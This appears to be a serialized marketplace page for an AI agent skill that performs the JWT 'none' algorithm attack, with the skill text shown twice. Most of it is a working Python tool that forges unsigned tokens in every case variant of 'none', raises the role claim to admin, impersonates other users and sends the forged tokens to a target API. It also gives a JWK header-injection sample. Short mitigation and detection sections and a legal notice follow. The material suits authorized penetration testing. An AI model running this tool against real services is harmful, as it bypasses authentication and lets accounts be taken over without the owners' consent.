[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GSRV59C99SAFZQ3KFXPDQ":3,"skill-same:01M71GSRV59C99SAFZQ3KFXPDQ":100},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":73,"commitSha":74,"skillDirectory":75,"forksCount":14,"repositoryHtmlUrl":76,"repositoryHomepageUrl":6,"ownerHtmlUrl":77,"ownerBlogUrl":6,"ownerDescription":78,"updatedAt":79,"install":80,"resources":93},"01M71GSRV59C99SAFZQ3KFXPDQ","auth-jwt-nonealgo-detect",null,"Execute and test the JWT none algorithm attack to bypass signature verification by manipulating the alg header field in JSON Web Tokens.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fauth\u002Fjwt\u002Fnonealgo\u002Fdetect\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"auth jwt nonealgo detect","detect","jwt","auth","security","owasp","authentication-bypass","token","read","de","verification","signature-bypass","none-algorithm","api","Bash","cybersecurity","api-security","testing","authentication","cm","2026-11-10 10:12:30",false,"---\nname: auth-jwt-nonealgo-detect\ndescription: Execute and test the JWT none algorithm attack to bypass signature verification by manipulating the alg header field in JSON Web Tokens.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- jwt\n- none-algorithm\n- authentication-bypass\n- token-manipulation\n- signature-bypass\n- penetration-testing\n- owasp\n- web-security\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1134\n- T1550\ncwe:\n- CWE-287\n- CWE-347\ncve:\n- CVE-2018-0114\ncapec: []\n---\n\n# Performing JWT None Algorithm Attack\n\n## Overview\n\nThe JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the `alg` header set to `none`, effectively bypassing signature verification. When a server processes a JWT with `\"alg\": \"none\"`, it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing jwt none algorithm attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target application using JWT for authentication or authorization\n- Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)\n- Python 3.8+ with PyJWT library for token crafting\n- Understanding of JWT structure (Header.Payload.Signature)\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## JWT Structure\n\nA JWT consists of three Base64URL-encoded parts separated by dots:\n\n```\nHeader.Payload.Signature\n\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header\neyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload\nSflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature\n```\n\n## Attack Methodology\n\n### Step 1: Capture a Valid JWT\n\nIntercept a legitimate JWT from the target application using Burp Suite or browser developer tools:\n\n```\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n```\n\n### Step 2: Decode and Analyze the Token\n\n```python\nimport base64\nimport json\n\ntoken = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\nparts = token.split('.')\n\n# Decode header\nheader = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\nprint(f\"Header: {header}\")\n# Output: {'alg': 'HS256', 'typ': 'JWT'}\n\n# Decode payload\npayload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\nprint(f\"Payload: {payload}\")\n# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}\n```\n\n### Step 3: Craft a Forged Token with None Algorithm\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"JWT None Algorithm Attack Tool\n\nCrafts JWT tokens with the 'none' algorithm to test for\nsignature verification bypass vulnerabilities.\n\"\"\"\n\nimport base64\nimport json\nimport requests\nimport sys\nfrom typing import Optional\n\nclass JWTNoneAttack:\n    # All known variations of the 'none' algorithm value\n    NONE_VARIANTS = [\n        \"none\",\n        \"None\",\n        \"NONE\",\n        \"nOnE\",\n        \"noNe\",\n        \"NoNe\",\n        \"nONE\",\n        \"nonE\",\n    ]\n\n    def __init__(self, target_url: str, original_token: str):\n        self.target_url = target_url\n        self.original_token = original_token\n        self.original_header, self.original_payload = self._decode_token(original_token)\n\n    def _base64url_encode(self, data: bytes) -> str:\n        \"\"\"Base64URL encode without padding.\"\"\"\n        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')\n\n    def _base64url_decode(self, data: str) -> bytes:\n        \"\"\"Base64URL decode with padding restoration.\"\"\"\n        padding = 4 - len(data) % 4\n        if padding != 4:\n            data += '=' * padding\n        return base64.urlsafe_b64decode(data)\n\n    def _decode_token(self, token: str) -> tuple:\n        \"\"\"Decode JWT header and payload.\"\"\"\n        parts = token.split('.')\n        header = json.loads(self._base64url_decode(parts[0]))\n        payload = json.loads(self._base64url_decode(parts[1]))\n        return header, payload\n\n    def craft_none_token(self, modified_payload: dict,\n                          alg_variant: str = \"none\") -> str:\n        \"\"\"Craft a JWT with the none algorithm and modified payload.\"\"\"\n        # Create header with none algorithm\n        header = {\"alg\": alg_variant, \"typ\": \"JWT\"}\n        header_encoded = self._base64url_encode(json.dumps(header).encode())\n\n        # Encode modified payload\n        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())\n\n        # Token with empty signature (just trailing dot)\n        return f\"{header_encoded}.{payload_encoded}.\"\n\n    def craft_privilege_escalation(self, role_field: str = \"role\",\n                                     admin_value: str = \"admin\") -> list:\n        \"\"\"Create tokens with escalated privileges using all none variants.\"\"\"\n        tokens = []\n        modified_payload = dict(self.original_payload)\n        modified_payload[role_field] = admin_value\n\n        for variant in self.NONE_VARIANTS:\n            token = self.craft_none_token(modified_payload, variant)\n            tokens.append({\"variant\": variant, \"token\": token})\n\n        return tokens\n\n    def craft_user_impersonation(self, target_user_id: str,\n                                   user_field: str = \"sub\") -> str:\n        \"\"\"Create a token impersonating another user.\"\"\"\n        modified_payload = dict(self.original_payload)\n        modified_payload[user_field] = target_user_id\n        return self.craft_none_token(modified_payload)\n\n    def test_none_variants(self, endpoint: str = \"\u002Fapi\u002Fprofile\",\n                            headers: Optional[dict] = None) -> list:\n        \"\"\"Test all none algorithm variants against the target.\"\"\"\n        results = []\n        base_headers = headers or {}\n\n        for variant in self.NONE_VARIANTS:\n            modified_payload = dict(self.original_payload)\n            modified_payload[\"role\"] = \"admin\"\n            token = self.craft_none_token(modified_payload, variant)\n\n            test_headers = dict(base_headers)\n            test_headers[\"Authorization\"] = f\"Bearer {token}\"\n\n            try:\n                response = requests.get(\n                    f\"{self.target_url}{endpoint}\",\n                    headers=test_headers,\n                    timeout=10\n                )\n                result = {\n                    \"variant\": variant,\n                    \"status_code\": response.status_code,\n                    \"accepted\": response.status_code == 200,\n                    \"response_length\": len(response.content),\n                }\n                results.append(result)\n\n                if response.status_code == 200:\n                    print(f\"  [VULNERABLE] alg='{variant}' -> {response.status_code}\")\n                else:\n                    print(f\"  [SAFE] alg='{variant}' -> {response.status_code}\")\n\n            except requests.exceptions.RequestException as e:\n                results.append({\n                    \"variant\": variant,\n                    \"status_code\": 0,\n                    \"accepted\": False,\n                    \"error\": str(e)\n                })\n\n        return results\n\n    def test_empty_signature_variants(self) -> list:\n        \"\"\"Test different empty signature formats.\"\"\"\n        modified_payload = dict(self.original_payload)\n        modified_payload[\"role\"] = \"admin\"\n        header = {\"alg\": \"none\", \"typ\": \"JWT\"}\n\n        header_encoded = self._base64url_encode(json.dumps(header).encode())\n        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())\n\n        # Different signature formats\n        variants = [\n            f\"{header_encoded}.{payload_encoded}.\",      # Empty signature with trailing dot\n            f\"{header_encoded}.{payload_encoded}\",       # No trailing dot\n            f\"{header_encoded}.{payload_encoded}.AA==\",  # Minimal base64 signature\n        ]\n\n        results = []\n        for token in variants:\n            results.append({\"token_format\": token[-20:], \"token\": token})\n\n        return results\n\n\ndef main():\n    if len(sys.argv) \u003C 3:\n        print(\"Usage: python jwt_none_attack.py \u003Ctarget_url> \u003Coriginal_token>\")\n        print(\"Example: python jwt_none_attack.py https:\u002F\u002Fapi.example.com eyJhbG...\")\n        sys.exit(1)\n\n    target_url = sys.argv[1]\n    original_token = sys.argv[2]\n\n    attacker = JWTNoneAttack(target_url, original_token)\n\n    print(f\"\\nOriginal Token Header: {attacker.original_header}\")\n    print(f\"Original Token Payload: {attacker.original_payload}\")\n\n    print(f\"\\n{'='*60}\")\n    print(\"Testing None Algorithm Variants\")\n    print(f\"{'='*60}\")\n    results = attacker.test_none_variants()\n\n    vulnerable = [r for r in results if r.get(\"accepted\")]\n    if vulnerable:\n        print(f\"\\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!\")\n        print(\"[!] The server does not properly validate JWT signatures\")\n    else:\n        print(f\"\\n[+] SECURE: All none algorithm variants were rejected\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Step 4: Additional JWT Attack Variants\n\n**Algorithm Confusion (RS256 to HS256):**\nIf the server uses RS256 (asymmetric), an attacker who knows the public key can:\n1. Change `alg` to `HS256`\n2. Sign the token using the public key as the HMAC secret\n3. The server may verify the signature using its public key as an HMAC key\n\n**JWK Header Injection (CVE-2018-0114):**\n```json\n{\n  \"alg\": \"RS256\",\n  \"typ\": \"JWT\",\n  \"jwk\": {\n    \"kty\": \"RSA\",\n    \"n\": \"\u003Cattacker-controlled-key>\",\n    \"e\": \"AQAB\"\n  }\n}\n```\n\n## Mitigation Strategies\n\n```python\n# Secure JWT verification - always specify allowed algorithms\nimport jwt\n\ndef verify_token_secure(token: str, secret_key: str) -> dict:\n    \"\"\"Verify JWT with explicit algorithm allowlist.\"\"\"\n    try:\n        payload = jwt.decode(\n            token,\n            secret_key,\n            algorithms=[\"HS256\"],  # CRITICAL: Explicit allowlist\n            options={\n                \"require\": [\"exp\", \"iat\", \"sub\"],  # Required claims\n                \"verify_exp\": True,\n                \"verify_iat\": True,\n            }\n        )\n        return payload\n    except jwt.InvalidAlgorithmError:\n        raise ValueError(\"Invalid token algorithm\")\n    except jwt.ExpiredSignatureError:\n        raise ValueError(\"Token expired\")\n    except jwt.InvalidTokenError:\n        raise ValueError(\"Invalid token\")\n```\n\n## Detection Indicators\n\n- JWT tokens with `\"alg\": \"none\"` (or case variations) in server logs\n- Tokens with empty or missing signature segments\n- Sudden change in algorithm field from normal patterns\n- Tokens with modified claims (role escalation) from the same session\n- Authorization header containing tokens with only two Base64 segments\n\n## References\n\n- OWASP JWT Testing Guide: https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002Flatest\u002F4-Web_Application_Security_Testing\u002F06-Session_Management_Testing\u002F10-Testing_JSON_Web_Tokens\n- Auth0 JWT Vulnerability Disclosure: https:\u002F\u002Fauth0.com\u002Fblog\u002Fcritical-vulnerabilities-in-json-web-token-libraries\u002F\n- PortSwigger JWT None Algorithm: https:\u002F\u002Fportswigger.net\u002Fkb\u002Fissues\u002F00200901_jwt-none-algorithm-supported\n- HackTricks JWT Vulnerabilities: https:\u002F\u002Fbook.hacktricks.xyz\u002Fpentesting-web\u002Fhacking-jwt-json-web-tokens\n- Invicti JWT Signature Bypass: https:\u002F\u002Fwww.invicti.com\u002Fweb-vulnerability-scanner\u002Fvulnerabilities\u002Fjwt-signature-bypass-via-none-algorithm\n","# Performing JWT None Algorithm Attack\n\n## Overview\n\nThe JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the `alg` header set to `none`, effectively bypassing signature verification. When a server processes a JWT with `\"alg\": \"none\"`, it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing jwt none algorithm attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target application using JWT for authentication or authorization\n- Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)\n- Python 3.8+ with PyJWT library for token crafting\n- Understanding of JWT structure (Header.Payload.Signature)\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## JWT Structure\n\nA JWT consists of three Base64URL-encoded parts separated by dots:\n\n```\nHeader.Payload.Signature\n\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header\neyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload\nSflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature\n```\n\n## Attack Methodology\n\n### Step 1: Capture a Valid JWT\n\nIntercept a legitimate JWT from the target application using Burp Suite or browser developer tools:\n\n```\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n```\n\n### Step 2: Decode and Analyze the Token\n\n```python\nimport base64\nimport json\n\ntoken = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\nparts = token.split('.')\n\n# Decode header\nheader = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\nprint(f\"Header: {header}\")\n# Output: {'alg': 'HS256', 'typ': 'JWT'}\n\n# Decode payload\npayload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\nprint(f\"Payload: {payload}\")\n# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}\n```\n\n### Step 3: Craft a Forged Token with None Algorithm\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"JWT None Algorithm Attack Tool\n\nCrafts JWT tokens with the 'none' algorithm to test for\nsignature verification bypass vulnerabilities.\n\"\"\"\n\nimport base64\nimport json\nimport requests\nimport sys\nfrom typing import Optional\n\nclass JWTNoneAttack:\n    # All known variations of the 'none' algorithm value\n    NONE_VARIANTS = [\n        \"none\",\n        \"None\",\n        \"NONE\",\n        \"nOnE\",\n        \"noNe\",\n        \"NoNe\",\n        \"nONE\",\n        \"nonE\",\n    ]\n\n    def __init__(self, target_url: str, original_token: str):\n        self.target_url = target_url\n        self.original_token = original_token\n        self.original_header, self.original_payload = self._decode_token(original_token)\n\n    def _base64url_encode(self, data: bytes) -> str:\n        \"\"\"Base64URL encode without padding.\"\"\"\n        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')\n\n    def _base64url_decode(self, data: str) -> bytes:\n        \"\"\"Base64URL decode with padding restoration.\"\"\"\n        padding = 4 - len(data) % 4\n        if padding != 4:\n            data += '=' * padding\n        return base64.urlsafe_b64decode(data)\n\n    def _decode_token(self, token: str) -> tuple:\n        \"\"\"Decode JWT header and payload.\"\"\"\n        parts = token.split('.')\n        header = json.loads(self._base64url_decode(parts[0]))\n        payload = json.loads(self._base64url_decode(parts[1]))\n        return header, payload\n\n    def craft_none_token(self, modified_payload: dict,\n                          alg_variant: str = \"none\") -> str:\n        \"\"\"Craft a JWT with the none algorithm and modified payload.\"\"\"\n        # Create header with none algorithm\n        header = {\"alg\": alg_variant, \"typ\": \"JWT\"}\n        header_encoded = self._base64url_encode(json.dumps(header).encode())\n\n        # Encode modified payload\n        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())\n\n        # Token with empty signature (just trailing dot)\n        return f\"{header_encoded}.{payload_encoded}.\"\n\n    def craft_privilege_escalation(self, role_field: str = \"role\",\n                                     admin_value: str = \"admin\") -> list:\n        \"\"\"Create tokens with escalated privileges using all none variants.\"\"\"\n        tokens = []\n        modified_payload = dict(self.original_payload)\n        modified_payload[role_field] = admin_value\n\n        for variant in self.NONE_VARIANTS:\n            token = self.craft_none_token(modified_payload, variant)\n            tokens.append({\"variant\": variant, \"token\": token})\n\n        return tokens\n\n    def craft_user_impersonation(self, target_user_id: str,\n                                   user_field: str = \"sub\") -> str:\n        \"\"\"Create a token impersonating another user.\"\"\"\n        modified_payload = dict(self.original_payload)\n        modified_payload[user_field] = target_user_id\n        return self.craft_none_token(modified_payload)\n\n    def test_none_variants(self, endpoint: str = \"\u002Fapi\u002Fprofile\",\n                            headers: Optional[dict] = None) -> list:\n        \"\"\"Test all none algorithm variants against the target.\"\"\"\n        results = []\n        base_headers = headers or {}\n\n        for variant in self.NONE_VARIANTS:\n            modified_payload = dict(self.original_payload)\n            modified_payload[\"role\"] = \"admin\"\n            token = self.craft_none_token(modified_payload, variant)\n\n            test_headers = dict(base_headers)\n            test_headers[\"Authorization\"] = f\"Bearer {token}\"\n\n            try:\n                response = requests.get(\n                    f\"{self.target_url}{endpoint}\",\n                    headers=test_headers,\n                    timeout=10\n                )\n                result = {\n                    \"variant\": variant,\n                    \"status_code\": response.status_code,\n                    \"accepted\": response.status_code == 200,\n                    \"response_length\": len(response.content),\n                }\n                results.append(result)\n\n                if response.status_code == 200:\n                    print(f\"  [VULNERABLE] alg='{variant}' -> {response.status_code}\")\n                else:\n                    print(f\"  [SAFE] alg='{variant}' -> {response.status_code}\")\n\n            except requests.exceptions.RequestException as e:\n                results.append({\n                    \"variant\": variant,\n                    \"status_code\": 0,\n                    \"accepted\": False,\n                    \"error\": str(e)\n                })\n\n        return results\n\n    def test_empty_signature_variants(self) -> list:\n        \"\"\"Test different empty signature formats.\"\"\"\n        modified_payload = dict(self.original_payload)\n        modified_payload[\"role\"] = \"admin\"\n        header = {\"alg\": \"none\", \"typ\": \"JWT\"}\n\n        header_encoded = self._base64url_encode(json.dumps(header).encode())\n        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())\n\n        # Different signature formats\n        variants = [\n            f\"{header_encoded}.{payload_encoded}.\",      # Empty signature with trailing dot\n            f\"{header_encoded}.{payload_encoded}\",       # No trailing dot\n            f\"{header_encoded}.{payload_encoded}.AA==\",  # Minimal base64 signature\n        ]\n\n        results = []\n        for token in variants:\n            results.append({\"token_format\": token[-20:], \"token\": token})\n\n        return results\n\n\ndef main():\n    if len(sys.argv) \u003C 3:\n        print(\"Usage: python jwt_none_attack.py \u003Ctarget_url> \u003Coriginal_token>\")\n        print(\"Example: python jwt_none_attack.py https:\u002F\u002Fapi.example.com eyJhbG...\")\n        sys.exit(1)\n\n    target_url = sys.argv[1]\n    original_token = sys.argv[2]\n\n    attacker = JWTNoneAttack(target_url, original_token)\n\n    print(f\"\\nOriginal Token Header: {attacker.original_header}\")\n    print(f\"Original Token Payload: {attacker.original_payload}\")\n\n    print(f\"\\n{'='*60}\")\n    print(\"Testing None Algorithm Variants\")\n    print(f\"{'='*60}\")\n    results = attacker.test_none_variants()\n\n    vulnerable = [r for r in results if r.get(\"accepted\")]\n    if vulnerable:\n        print(f\"\\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!\")\n        print(\"[!] The server does not properly validate JWT signatures\")\n    else:\n        print(f\"\\n[+] SECURE: All none algorithm variants were rejected\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Step 4: Additional JWT Attack Variants\n\n**Algorithm Confusion (RS256 to HS256):**\nIf the server uses RS256 (asymmetric), an attacker who knows the public key can:\n1. Change `alg` to `HS256`\n2. Sign the token using the public key as the HMAC secret\n3. The server may verify the signature using its public key as an HMAC key\n\n**JWK Header Injection (CVE-2018-0114):**\n```json\n{\n  \"alg\": \"RS256\",\n  \"typ\": \"JWT\",\n  \"jwk\": {\n    \"kty\": \"RSA\",\n    \"n\": \"\u003Cattacker-controlled-key>\",\n    \"e\": \"AQAB\"\n  }\n}\n```\n\n## Mitigation Strategies\n\n```python\n# Secure JWT verification - always specify allowed algorithms\nimport jwt\n\ndef verify_token_secure(token: str, secret_key: str) -> dict:\n    \"\"\"Verify JWT with explicit algorithm allowlist.\"\"\"\n    try:\n        payload = jwt.decode(\n            token,\n            secret_key,\n            algorithms=[\"HS256\"],  # CRITICAL: Explicit allowlist\n            options={\n                \"require\": [\"exp\", \"iat\", \"sub\"],  # Required claims\n                \"verify_exp\": True,\n                \"verify_iat\": True,\n            }\n        )\n        return payload\n    except jwt.InvalidAlgorithmError:\n        raise ValueError(\"Invalid token algorithm\")\n    except jwt.ExpiredSignatureError:\n        raise ValueError(\"Token expired\")\n    except jwt.InvalidTokenError:\n        raise ValueError(\"Invalid token\")\n```\n\n## Detection Indicators\n\n- JWT tokens with `\"alg\": \"none\"` (or case variations) in server logs\n- Tokens with empty or missing signature segments\n- Sudden change in algorithm field from normal patterns\n- Tokens with modified claims (role escalation) from the same session\n- Authorization header containing tokens with only two Base64 segments\n\n## References\n\n- OWASP JWT Testing Guide: https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002Flatest\u002F4-Web_Application_Security_Testing\u002F06-Session_Management_Testing\u002F10-Testing_JSON_Web_Tokens\n- Auth0 JWT Vulnerability Disclosure: https:\u002F\u002Fauth0.com\u002Fblog\u002Fcritical-vulnerabilities-in-json-web-token-libraries\u002F\n- PortSwigger JWT None Algorithm: https:\u002F\u002Fportswigger.net\u002Fkb\u002Fissues\u002F00200901_jwt-none-algorithm-supported\n- HackTricks JWT Vulnerabilities: https:\u002F\u002Fbook.hacktricks.xyz\u002Fpentesting-web\u002Fhacking-jwt-json-web-tokens\n- Invicti JWT Signature Bypass: https:\u002F\u002Fwww.invicti.com\u002Fweb-vulnerability-scanner\u002Fvulnerabilities\u002Fjwt-signature-bypass-via-none-algorithm\n",{"cve":49,"cwe":51,"name":5,"tags":54,"capec":58,"model":59,"tools":60,"domain":39,"maxTurns":64,"nist_csf":65,"subdomain":40,"description":7,"mitre_attack":70},[50],"CVE-2018-0114",[52,53],"CWE-287","CWE-347",[26,36,30,55,35,56,29,57],"token-manipulation","penetration-testing","web-security",[],"sonnet",[61,38,62,63],"Read","Glob","Grep",20,[66,67,68,69],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[71,72],"T1134","T1550","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Fauth\u002Fjwt\u002Fnonealgo\u002Fdetect","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":81,"prompt":91,"zipAvailable":92},[82,85,88],{"tool":83,"command":84},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill auth-jwt-nonealgo-detect",{"tool":86,"command":87},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill auth-jwt-nonealgo-detect",{"tool":89,"command":90},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill auth-jwt-nonealgo-detect","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fauth\u002Fjwt\u002Fnonealgo\u002Fdetect\u002FSKILL.md",true,[94],{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"index.json","REFERENCE","参考文档",639,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fauth\u002Fjwt\u002Fnonealgo\u002Fdetect\u002Findex.json",[101,123,144,165,186,201],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":44},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[108,25,109,110,111,33,43,112,113,114,115,116,117,118,119,120,121,39,122],"services","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":124,"name":125,"nameZh":6,"description":126,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":127,"categories":128,"keywords":129,"publishedAt":44},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[130,108,131,110,132,133,134,39,38,135,136,137,138,139,33,140,141,32,142,143],"exploit","services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":150,"publishedAt":44},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[151,152,153,154,155,156,39,38,157,135,158,159,33,32,160,161,162,163,164,59],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":166,"name":167,"nameZh":6,"description":168,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":169,"categories":170,"keywords":171,"publishedAt":44},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[25,172,31,173,174,175,176,43,177,39,122,178,179,180,181,182,183,184,185,33],"processes token impersonate 